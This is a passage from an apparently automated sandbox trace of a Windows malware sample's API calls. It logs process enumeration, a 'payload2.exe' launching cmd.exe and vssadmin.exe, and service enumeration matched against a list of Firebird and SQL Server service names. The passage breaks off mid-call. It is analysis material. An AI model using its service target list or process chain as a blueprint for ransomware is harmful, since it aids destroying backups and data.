cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0041.929] lstrlenW (lpString="lsm.exe") returned 7 [0041.929] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.929] lstrlenW (lpString="svchost.exe") returned 11 [0041.929] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.930] lstrlenW (lpString="svchost.exe") returned 11 [0041.930] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.931] lstrlenW (lpString="svchost.exe") returned 11 [0041.931] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.931] lstrlenW (lpString="svchost.exe") returned 11 [0041.931] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.932] lstrlenW (lpString="svchost.exe") returned 11 [0041.932] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0041.933] lstrlenW (lpString="audiodg.exe") returned 11 [0041.933] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.933] lstrlenW (lpString="svchost.exe") returned 11 [0041.933] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.934] lstrlenW (lpString="svchost.exe") returned 11 [0041.934] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0041.935] lstrlenW (lpString="dwm.exe") returned 7 [0041.935] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0041.935] lstrlenW (lpString="explorer.exe") returned 12 [0041.935] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0041.936] lstrlenW (lpString="spoolsv.exe") returned 11 [0041.936] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0041.937] lstrlenW (lpString="taskhost.exe") returned 12 [0041.937] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.937] lstrlenW (lpString="svchost.exe") returned 11 [0041.937] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0041.938] lstrlenW (lpString="taskeng.exe") returned 11 [0041.938] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0041.939] lstrlenW (lpString="taskhost.exe") returned 12 [0041.939] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="presidential.exe")) returned 1 [0041.939] lstrlenW (lpString="presidential.exe") returned 16 [0041.939] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ol-filing.exe")) returned 1 [0041.940] lstrlenW (lpString="ol-filing.exe") returned 13 [0041.940] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="overcome.exe")) returned 1 [0041.941] lstrlenW (lpString="overcome.exe") returned 12 [0041.941] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declinedreferral.exe")) returned 1 [0041.941] lstrlenW (lpString="declinedreferral.exe") returned 20 [0041.941] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="franciscotrack.exe")) returned 1 [0041.942] lstrlenW (lpString="franciscotrack.exe") returned 18 [0041.942] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nicholas.exe")) returned 1 [0041.943] lstrlenW (lpString="nicholas.exe") returned 12 [0041.943] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asbestosauthentication.exe")) returned 1 [0042.240] lstrlenW (lpString="asbestosauthentication.exe") returned 26 [0042.240] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="word.exe")) returned 1 [0042.241] lstrlenW (lpString="word.exe") returned 8 [0042.241] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="semestermeta.exe")) returned 1 [0042.242] lstrlenW (lpString="semestermeta.exe") returned 16 [0042.242] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflects.exe")) returned 1 [0042.242] lstrlenW (lpString="reflects.exe") returned 12 [0042.242] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="beveragesradios.exe")) returned 1 [0042.243] lstrlenW (lpString="beveragesradios.exe") returned 19 [0042.243] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shaved_extraordinary.exe")) returned 1 [0042.243] lstrlenW (lpString="shaved_extraordinary.exe") returned 24 [0042.244] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ground.exe")) returned 1 [0042.244] lstrlenW (lpString="ground.exe") returned 10 [0042.244] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="least.exe")) returned 1 [0042.245] lstrlenW (lpString="least.exe") returned 9 [0042.245] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="meetings.exe")) returned 1 [0042.245] lstrlenW (lpString="meetings.exe") returned 12 [0042.246] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wooltestimony.exe")) returned 1 [0042.246] lstrlenW (lpString="wooltestimony.exe") returned 17 [0042.246] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="inexpensive.exe")) returned 1 [0042.247] lstrlenW (lpString="inexpensive.exe") returned 15 [0042.247] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="er-amd.exe")) returned 1 [0042.247] lstrlenW (lpString="er-amd.exe") returned 10 [0042.247] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="abandoned_frames.exe")) returned 1 [0042.248] lstrlenW (lpString="abandoned_frames.exe") returned 20 [0042.248] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0042.249] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0042.249] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0042.249] lstrlenW (lpString="mobsync.exe") returned 11 [0042.249] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0042.250] lstrlenW (lpString="payload2.exe") returned 12 [0042.250] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0042.251] lstrlenW (lpString="cmd.exe") returned 7 [0042.251] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0042.253] lstrlenW (lpString="conhost.exe") returned 11 [0042.253] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0042.253] lstrlenW (lpString="vssadmin.exe") returned 12 [0042.253] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0042.254] lstrlenW (lpString="VSSVC.exe") returned 9 [0042.254] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.255] lstrlenW (lpString="svchost.exe") returned 11 [0042.255] Process32NextW (in: hSnapshot=0x208, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0042.255] CloseHandle (hObject=0x208) returned 1 [0042.256] Sleep (dwMilliseconds=0x1f4) [0042.935] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x2a0078 [0042.936] EnumServicesStatusExW (in: hSCManager=0x2a0078, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 0 [0042.937] GetLastError () returned 0xea [0042.937] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x12c6) returned 0x26e060 [0042.937] EnumServicesStatusExW (in: hSCManager=0x2a0078, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x26e060, cbBufSize=0x12c6, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x26e060, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 1 [0042.938] CloseServiceHandle (hSCObject=0x2a0078) returned 1 [0042.938] lstrlenW (lpString="Appinfo") returned 7 [0042.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0042.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0042.938] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0042.938] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0042.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0042.938] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0042.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0042.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0042.938] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0042.938] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0042.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0042.938] lstrlenW (lpString="AudioSrv") returned 8 [0042.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0042.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0042.938] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0042.938] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0042.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0042.938] lstrlenW (lpString="BFE") returned 3 [0042.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0042.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0042.938] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0042.938] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0042.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0042.939] lstrlenW (lpString="CryptSvc") returned 8 [0042.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0042.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0042.939] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0042.939] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0042.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0042.939] lstrlenW (lpString="CscService") returned 10 [0042.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0042.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0042.939] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0042.939] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0042.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0042.939] lstrlenW (lpString="DcomLaunch") returned 10 [0042.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0042.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0042.939] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0042.939] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0042.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0042.939] lstrlenW (lpString="Dhcp") returned 4 [0042.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0042.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0042.939] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0042.939] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0042.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0042.939] lstrlenW (lpString="Dnscache") returned 8 [0042.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0042.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0042.939] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0042.939] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0042.939] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0042.939] lstrlenW (lpString="DPS") returned 3 [0042.939] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0042.939] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0042.939] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0042.940] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0042.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0042.940] lstrlenW (lpString="eventlog") returned 8 [0042.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0042.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0042.940] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0042.940] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0042.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0042.940] lstrlenW (lpString="EventSystem") returned 11 [0042.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0042.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0042.940] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0042.940] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0042.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0042.940] lstrlenW (lpString="gpsvc") returned 5 [0042.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0042.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0042.940] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0042.940] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0042.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0042.940] lstrlenW (lpString="iphlpsvc") returned 8 [0042.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0042.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0042.940] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0042.940] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0042.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0042.940] lstrlenW (lpString="LanmanServer") returned 12 [0042.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0042.940] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0042.940] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0042.940] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0042.940] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0042.940] lstrlenW (lpString="LanmanWorkstation") returned 17 [0042.940] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0042.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0042.941] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0042.941] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0042.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0042.941] lstrlenW (lpString="lmhosts") returned 7 [0042.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0042.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0042.941] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0042.941] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0042.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0042.941] lstrlenW (lpString="MMCSS") returned 5 [0042.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0042.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0042.941] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0042.941] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0042.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0042.941] lstrlenW (lpString="MpsSvc") returned 6 [0042.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0042.941] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0042.941] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0042.941] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0042.941] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0042.941] lstrlenW (lpString="Netman") returned 6 [0042.941] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0042.942] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 